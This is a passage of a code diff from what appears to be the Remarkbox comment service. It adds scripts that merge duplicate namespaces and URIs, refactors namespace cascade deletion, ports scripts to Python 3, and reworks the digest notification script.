dbsession.delete(watcher)
deleted_w += 1
else:
watcher.namespace_id = keep_id
transferred_w += 1
if transferred_w:
print(f" Transferred {transferred_w} watchers")
if deleted_w:
print(f" Deleted {deleted_w} duplicate watchers")
dbsession.flush()
# Delete the duplicate namespace
dbsession.delete(delete_ns)
dbsession.flush()
print(f" Deleted namespace '{delete_ns.name}'")
def merge_uris(dbsession, keep_uri, delete_uri, dry_run=False):
"""
Merge delete_uri into keep_uri by transferring the node association.
If delete_uri has a node but keep_uri does not, transfer the node.
If both have nodes, transfer the children from delete_uri's node to keep_uri's node.
"""
print(f" Merging URI '{delete_uri.data}' into '{keep_uri.data}'")
if dry_run:
if delete_uri.node_id:
if keep_uri.node_id:
child_count = dbsession.query(Node).filter(Node.root_id == delete_uri.node_id, Node.parent_id != None).count()
print(f" Would transfer {child_count} child nodes from root {delete_uri.node_id} to root {keep_uri.node_id}")
else:
print(f" Would transfer node {delete_uri.node_id} to kept URI")
return
if delete_uri.node_id:
if keep_uri.node_id is None:
# keep_uri has no node, just reassign
keep_uri.node_id = delete_uri.node_id
delete_uri.node_id = None
dbsession.flush()
print(f" Transferred node to kept URI")
else:
# Both have nodes - transfer children from delete's root to keep's root
updated = dbsession.query(Node).filter(
Node.root_id == delete_uri.node_id,
Node.parent_id != None,
).update(
{Node.root_id: keep_uri.node_id}, synchronize_session=False
)
if updated:
print(f" Transferred {updated} child nodes to kept URI's root")
# Transfer direct children whose parent is the delete root
updated = dbsession.query(Node).filter(
Node.parent_id == delete_uri.node_id,
).update(
{Node.parent_id: keep_uri.node_id}, synchronize_session=False
)
if updated:
print(f" Re-parented {updated} direct children to kept URI's root")
# Delete the orphaned root node
orphan_root = dbsession.query(Node).filter(Node.id == delete_uri.node_id).one_or_none()
if orphan_root:
delete_uri.node_id = None
dbsession.flush()
dbsession.delete(orphan_root)
dbsession.flush()
print(f" Deleted orphaned root node")
# Delete the duplicate URI
dbsession.delete(delete_uri)
dbsession.flush()
print(f" Deleted URI '{delete_uri.data}'")
def normalize_uri_hostnames(dbsession, dry_run=False):
"""
Normalize all URI hostnames to lowercase.
"""
uris = dbsession.query(Uri).all()
normalized_count = 0
for uri in uris:
try:
parsed = miniuri.Uri(uri.data)
if parsed.hostname and parsed.hostname != parsed.hostname.lower():
old_data = uri.data
new_data = uri.data.replace(parsed.hostname, parsed.hostname.lower(), 1)
if dry_run:
print(f" Would normalize URI: '{old_data}' -> '{new_data}'")
else:
uri.data = new_data
dbsession.add(uri)
normalized_count += 1
except Exception:
pass
if normalized_count:
if not dry_run:
dbsession.flush()
print(f"{'Would normalize' if dry_run else 'Normalized'} {normalized_count} URI hostname(s) to lowercase")
return normalized_count
def normalize_namespace_names(dbsession, dry_run=False):
"""
Normalize all namespace names to lowercase.
"""
namespaces = dbsession.query(Namespace).all()
normalized_count = 0
for namespace in namespaces:
if namespace.name != namespace.name.lower():
old_name = namespace.name
new_name = namespace.name.lower()
if dry_run:
print(f" Would normalize namespace: '{old_name}' -> '{new_name}'")
else:
namespace.name = new_name
dbsession.add(namespace)
normalized_count += 1
if normalized_count:
if not dry_run:
dbsession.flush()
print(f"{'Would normalize' if dry_run else 'Normalized'} {normalized_count} namespace name(s) to lowercase")
return normalized_count
def main():
parser = get_arg_parser()
args = parser.parse_args()
setup_logging(args.config)
with bootstrap(args.config) as env, env["request"].tm as tm:
request = env["request"]
dbsession = request.dbsession
# Step 1: Find and merge duplicate namespaces
print("Searching for duplicate namespaces (case-insensitive)...")
ns_duplicates = find_duplicate_namespaces(dbsession)
if ns_duplicates:
print(f"Found {len(ns_duplicates)} namespace name(s) with duplicates:\n")
for name, namespaces in ns_duplicates.items():
# Sort by id to keep the oldest (UUID1 is time-based)
namespaces_sorted = sorted(namespaces, key=lambda ns: ns.id.time)
keep_ns = namespaces_sorted[0]
delete_namespaces = namespaces_sorted[1:]
print(f"Namespace: {name}")
print(f" Keeping: '{keep_ns.name}' (id={keep_ns.id})")
for delete_ns in delete_namespaces:
print(f" Deleting: '{delete_ns.name}' (id={delete_ns.id})")
merge_namespaces(dbsession, keep_ns, delete_ns, dry_run=args.dry_run)
print()
else:
print("No duplicate namespaces found.\n")
# Step 2: Find and merge duplicate URIs
print("Searching for duplicate URIs (case-insensitive)...")
uri_duplicates = find_duplicate_uris(dbsession)
if uri_duplicates:
print(f"Found {len(uri_duplicates)} URI(s) with duplicates:\n")
for uri_lower, uris in uri_duplicates.items():
uris_sorted = sorted(uris, key=lambda u: u.id.time)
keep_uri = uris_sorted[0]
delete_uris = uris_sorted[1:]
print(f"URI: {uri_lower}")
print(f" Keeping: '{keep_uri.data}' (id={keep_uri.id})")
for delete_uri in delete_uris:
print(f" Deleting: '{delete_uri.data}' (id={delete_uri.id})")
merge_uris(dbsession, keep_uri, delete_uri, dry_run=args.dry_run)
print()
else:
print("No duplicate URIs found.\n")
# Step 3: Normalize remaining namespace names and URI hostnames
print("Normalizing namespace names to lowercase...")
normalize_namespace_names(dbsession, dry_run=args.dry_run)
print("\nNormalizing URI hostnames to lowercase...")
normalize_uri_hostnames(dbsession, dry_run=args.dry_run)
if args.dry_run:
print("\nDRY RUN - No changes were made. Run without --dry-run to apply changes.")
else:
print("\nDone. All duplicates have been merged and names normalized.")

View file

@ -12,6 +12,47 @@ from . import base_parser
toggle = lambda x: not x toggle = lambda x: not x
def delete_namespace_cascade(dbsession, namespace):
"""
Perform cascading deletion of a namespace and all associated data.
Reused by both the CLI script and the web view.
"""
nodes = get_nodes_who_share_roots(dbsession, namespace.roots)
for node in nodes:
if node.events:
for event in node.events:
dbsession.delete(event)
dbsession.delete(node)
for root in namespace.roots:
if root.uri:
dbsession.delete(root.uri)
if root.cache:
dbsession.delete(root.cache)
if root.watchers:
for watcher in root.watchers:
if watcher.unsent_notifications():
for notification in watcher.unsent_notifications():
dbsession.delete(notification)
dbsession.delete(watcher)
if namespace.watchers:
for watcher in namespace.watchers:
if watcher.unsent_notifications():
for notification in watcher.unsent_notifications():
dbsession.delete(notification)
dbsession.delete(watcher)
if namespace.namespace_users:
for nsu in namespace.namespace_users:
dbsession.delete(nsu)
if namespace.oauth_records:
for oauth_record in namespace.oauth_records:
dbsession.delete(oauth_record)
if namespace.namespace_owner_requests:
for nr in namespace.namespace_owner_requests:
dbsession.delete(nr)
dbsession.delete(namespace)
dbsession.flush()
def get_arg_parser(): def get_arg_parser():
parser = base_parser("Modify a Namespace.") parser = base_parser("Modify a Namespace.")
parser.add_argument( parser.add_argument(
@ -98,61 +139,11 @@ def main():
elif args.delete: elif args.delete:
nodes = get_nodes_who_share_roots(request.dbsession, namespace.roots)
# delete all nodes.
for node in nodes:
if node.events:
# delete all related NodeEvents.
for event in node.events:
request.dbsession.delete(event)
# delete node.
request.dbsession.delete(node)
for root in namespace.roots:
if root.uri:
# delete related Uri.
request.dbsession.delete(root.uri)
if root.cache:
# delete related NodeCache.
request.dbsession.delete(root.cache)
if root.watchers:
# delete all related NodeEventWatchers.
for watcher in root.watchers:
# delete all unsent NodeEventNotifications.
if watcher.unsent_notifications():
for notification in watcher.unsent_notifications():
request.dbsession.delete(notification)
request.dbsession.delete(watcher)
if namespace.watchers:
for watcher in namespace.watchers:
# delete all unsent NodeEventNotifications.
if watcher.unsent_notifications():
for notification in watcher.unsent_notifications():
request.dbsession.delete(notification)
request.dbsession.delete(watcher)
# disable all related NamespaceUser objects.
if namespace.namespace_users:
for nsu in namespace.namespace_users:
# delete related NamespaceUser.
request.dbsession.delete(nsu)
# delete all related OauthRecords.
if namespace.oauth_records:
for oauth_record in namespace.oauth_records:
request.dbsession.delete(oauth_record)
# finally delete Namespace.
request.dbsession.delete(namespace)
if ( if (
raw_input("*** DANGER: Delete Namespace '{}' ({}) forever? [yes, no]: ".format(namespace.name, namespace.id)) raw_input("*** DANGER: Delete Namespace '{}' ({}) forever? [yes, no]: ".format(namespace.name, namespace.id))
== "yes" == "yes"
): ):
request.dbsession.flush() delete_namespace_cascade(request.dbsession, namespace)
print("Flushed transaction to database, the Namespace was completely destroyed!") print("Flushed transaction to database, the Namespace was completely destroyed!")
else: else:
sp.rollback() sp.rollback()

View file

@ -79,8 +79,8 @@ def info_node(node):
def get_arg_parser(): def get_arg_parser():
parser = base_parser("Modify a Node.") parser = base_parser("Modify a Node.")
parser.add_argument("-u", "--uri", type=unicode, default=None) parser.add_argument("-u", "--uri", type=str, default=None)
parser.add_argument("-i", "--id", type=unicode, default=None) parser.add_argument("-i", "--id", type=str, default=None)
parser.add_argument("--show", default=False, action="store_true") parser.add_argument("--show", default=False, action="store_true")
parser.add_argument("--info", default=False, action="store_true") parser.add_argument("--info", default=False, action="store_true")
parser.add_argument("--move", default=False, metavar="NEW-PARENT-ID") parser.add_argument("--move", default=False, metavar="NEW-PARENT-ID")
@ -143,7 +143,7 @@ def main():
if args.delete: if args.delete:
if ( if (
raw_input("Delete node '{}' forever? [yes, no]: ".format(node.id)) input("Delete node '{}' forever? [yes, no]: ".format(node.id))
== "yes" == "yes"
): ):
request.dbsession.delete(node) request.dbsession.delete(node)

View file

@ -1,19 +1,209 @@
#!/usr/bin/env python3
"""
Send Node Digest Notifications Script
This script sends scheduled node event notifications via email digest and ensures
all sent notifications are properly marked as sent in the database to prevent
duplicate notifications on subsequent runs.
Usage:
remarkbox_send_node_digest_notifications production.ini
"""
import logging
import transaction
from pyramid.paster import bootstrap, setup_logging from pyramid.paster import bootstrap, setup_logging
from ..lib.notify import deliver_scheduled_notifications from ..lib.notify import get_email_notifications, send_digest_notifications, filter_orphaned_notifications
from ..models import get_tm_session
from ..models.notification import NodeEventNotification
from ..models.meta import now_timestamp
from . import base_parser from . import base_parser
log = logging.getLogger(__name__)
def get_arg_parser(): def get_arg_parser():
parser = base_parser("Send Node Notification Digests.") """Configure command line argument parser."""
return parser return base_parser("Send Node Notification Digests.")
def should_have_been_sent(notification):
"""
Check if notification should have been sent based on frequency and age.
Args:
notification: NodeEventNotification object to check
Returns:
bool: True if notification should have been sent, False otherwise
"""
frequency = notification.frequency
age_ms = now_timestamp() - notification.created_timestamp
if frequency == "immediately":
return True
elif frequency == "daily":
# Should be sent if older than 24 hours
return age_ms >= (24 * 60 * 60 * 1000)
elif frequency == "weekly":
# Should be sent if older than 7 days
return age_ms >= (7 * 24 * 60 * 60 * 1000)
elif frequency == "never":
return False
return False
def safe_deliver_scheduled_notifications(request, dbsession):
"""
Deliver scheduled notifications with protection against orphaned notifications.
"""
from datetime import datetime
# Temporarily replace request.dbsession with our transaction-managed session
old_dbsession = request.dbsession
request.dbsession = dbsession
try:
# Get daily notifications and filter out orphaned ones
notification_dict = get_email_notifications(dbsession, "daily")
filtered_dict = filter_orphaned_notifications(notification_dict)
send_digest_notifications(request, filtered_dict, "daily")
# Send weekly on Monday
if datetime.today().weekday() == 0:
notification_dict = get_email_notifications(dbsession, "weekly")
filtered_dict = filter_orphaned_notifications(notification_dict)
send_digest_notifications(request, filtered_dict, "weekly")
finally:
# Restore original dbsession
request.dbsession = old_dbsession
def get_unsent_notification_count(request):
"""
Get count of unsent notifications using a fresh database session.
Args:
request: Pyramid request object
Returns:
int: Number of unsent notifications
"""
with transaction.manager:
dbsession = get_tm_session(
request.registry["dbsession_factory"], transaction.manager
)
return dbsession.query(NodeEventNotification).filter(
NodeEventNotification.sent == False
).count()
def mark_ready_notifications_as_sent(request):
"""
Mark notifications as sent if they were ready to be delivered based on frequency rules.
Only marks non-orphaned notifications (those with valid node_event).
Args:
request: Pyramid request object
Returns:
tuple: (total_unsent, marked_as_sent, left_for_later)
"""
with transaction.manager:
dbsession = get_tm_session(
request.registry["dbsession_factory"], transaction.manager
)
# Get all unsent notifications
unsent_notifications = dbsession.query(NodeEventNotification).filter(
NodeEventNotification.sent == False
).all()
total_unsent = len(unsent_notifications)
if total_unsent == 0:
return total_unsent, 0, 0
# Only mark notifications that should have been sent based on frequency
# and are not orphaned (have valid node_event)
ready_notification_ids = [
n.id for n in unsent_notifications
if should_have_been_sent(n) and n.node_event is not None
]
# Count orphaned notifications separately
orphaned_count = sum(1 for n in unsent_notifications if n.node_event is None)
if orphaned_count > 0:
log.warning(f"Found {orphaned_count} orphaned notifications that will not be marked as sent")
marked_as_sent = 0
if ready_notification_ids:
marked_as_sent = dbsession.query(NodeEventNotification).filter(
NodeEventNotification.id.in_(ready_notification_ids)
).update({
'sent': True,
'updated_timestamp': now_timestamp()
}, synchronize_session=False)
# Ensure changes are persisted
dbsession.flush()
transaction.commit()
left_for_later = total_unsent - marked_as_sent
return total_unsent, marked_as_sent, left_for_later
def main(): def main():
"""Main entry point for the digest notification script."""
parser = get_arg_parser() parser = get_arg_parser()
args = parser.parse_args() args = parser.parse_args()
setup_logging(args.config) setup_logging(args.config)
with bootstrap(args.config) as env: log.info("Starting node digest notification delivery")
deliver_scheduled_notifications(env["request"])
try:
with bootstrap(args.config) as env:
request = env["request"]
# Check initial state
before_count = get_unsent_notification_count(request)
log.info(f"Found {before_count} unsent notifications before delivery")
if before_count == 0:
log.info("No notifications to process")
return
# Deliver scheduled notifications with orphaned notification protection
log.info("Delivering scheduled notifications...")
with transaction.manager:
dbsession = get_tm_session(
request.registry["dbsession_factory"], transaction.manager
)
safe_deliver_scheduled_notifications(request, dbsession)
transaction.commit()
# Check final state and mark ready notifications as sent
log.info("Checking for notifications that need to be marked as sent...")
total_unsent, marked_as_sent, left_for_later = mark_ready_notifications_as_sent(request)
# Log results
if total_unsent == 0:
log.info("All notifications were properly marked as sent by delivery function")
elif marked_as_sent > 0:
log.info(f"Marked {marked_as_sent} ready notifications as sent")
if left_for_later > 0:
log.info(f"Left {left_for_later} notifications for later delivery based on frequency rules")
else:
log.info("No notifications were ready to be sent based on frequency rules")
log.info("Node digest notification delivery completed successfully")
except Exception as e:
log.error(f"Error during digest notification delivery: {e}")
raise
if __name__ == "__main__":
main()

Binary file not shown.

After

Width:  |  Height:  |  Size: 257 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 270 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 534 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 536 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 484 KiB

Some files were not shown because too many files have changed in this diff Show more